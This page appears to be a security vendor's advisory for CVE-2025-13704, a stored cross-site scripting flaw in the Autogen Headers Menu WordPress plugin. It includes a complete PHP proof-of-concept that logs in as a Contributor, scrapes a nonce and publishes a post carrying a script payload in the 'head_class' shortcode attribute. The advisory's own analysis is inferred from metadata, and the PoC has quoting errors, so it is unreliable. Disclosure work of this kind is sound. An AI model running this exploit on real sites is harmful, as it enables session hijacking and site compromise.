Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13704: Autogen Headers Menu <= 1.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'head_class' Shortcode Parameter (autogen-headers-menu)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.1
Patched Version
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13704 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Autogen Headers Menu WordPress plugin. The vulnerability exists in the ‘autogen_menu’ shortcode’s ‘head_class’ parameter. Attackers with at least Contributor-level access can inject malicious scripts that execute when a user views a compromised page. The CVSS score of 6.4 (Medium) reflects its scope change impact and authenticated attack vector.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification. The plugin likely registers a shortcode handler that directly echoes or unsafely outputs user-supplied attributes without proper neutralization. This conclusion is inferred from the standard WordPress shortcode implementation pattern and the explicit mention of insufficient sanitization in the description. No source code was available for confirmation.

The exploitation method involves an authenticated user creating or editing a post or page. The attacker embeds the vulnerable shortcode with a malicious payload in the ‘head_class’ attribute. For example, [autogen_menu head_class=”alert(‘XSS’)”] could be used. When the post is published and viewed by any user, the injected script executes in the victim’s browser context.

Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘head_class’ shortcode attribute on input using functions like `sanitize_html_class()`. It must also escape the attribute on output using `esc_attr()` before echoing it into the HTML document. A comprehensive fix would also audit all other shortcode attributes for similar issues.

Successful exploitation allows attackers with Contributor privileges to perform actions within a victim’s session. This can lead to session hijacking, administrative actions if an admin views the page, defacement, or redirection to malicious sites. The stored nature means the payload executes for every visitor to the compromised page, amplifying the impact.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13704 - Autogen Headers Menu <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'head_class' Shortcode Parameter
<?php
/*
 * This PoC simulates an authenticated Contributor creating a post with a malicious shortcode.
 * Assumptions:
 * 1. The target site has the vulnerable plugin (<=1.0.1) active.
 * 2. Valid Contributor credentials are available.
 * 3. The site uses the standard WordPress login and post creation endpoints.
 * 4. The 'autogen_menu' shortcode is registered and processes the 'head_class' attribute.
 */

$target_url = 'https://target-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_pass'; // CONFIGURE THIS

// Payload to inject into the shortcode attribute.
// This is a basic proof-of-concept alert. Real attacks would use more stealthy payloads.
$xss_payload = '"><script>alert(document.domain)</script>';
$shortcode = "[autogen_menu head_class="autogen-class{$xss_payload}"]";
$post_title = "Test Post with XSS - " . uniqid();
$post_content = "This post contains the malicious shortcode. {$shortcode}";

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only

// Step 1: Authenticate as Contributor
$login_url = $target_url . '/wp-login.php';
$login_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);

// Check for login success by looking for dashboard redirect or absence of login form
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Retrieve the nonce required for creating a post
$post_new_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_new_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract the nonce for the 'create-post' action. Pattern may vary.
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not retrieve security nonce.');
}
$nonce = $nonce_matches[1];

// Step 3: Create a new post containing the malicious shortcode
$post_url = $target_url . '/wp-admin/post.php';
$post_fields = http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1', // Assumed user ID; may need extraction
    'action' => 'editpost',
    'post_status' => 'publish'
]);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check for success
if (strpos($response, 'Post published.') !== false || strpos($response, 'post-') !== false) {
    echo "Potential exploit post created. Visit the new post to trigger the XSS.n";
    // In a real scenario, the attacker would now lure victims to view the post.
} else {
    echo "Post creation may have failed. Check permissions and nonce.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School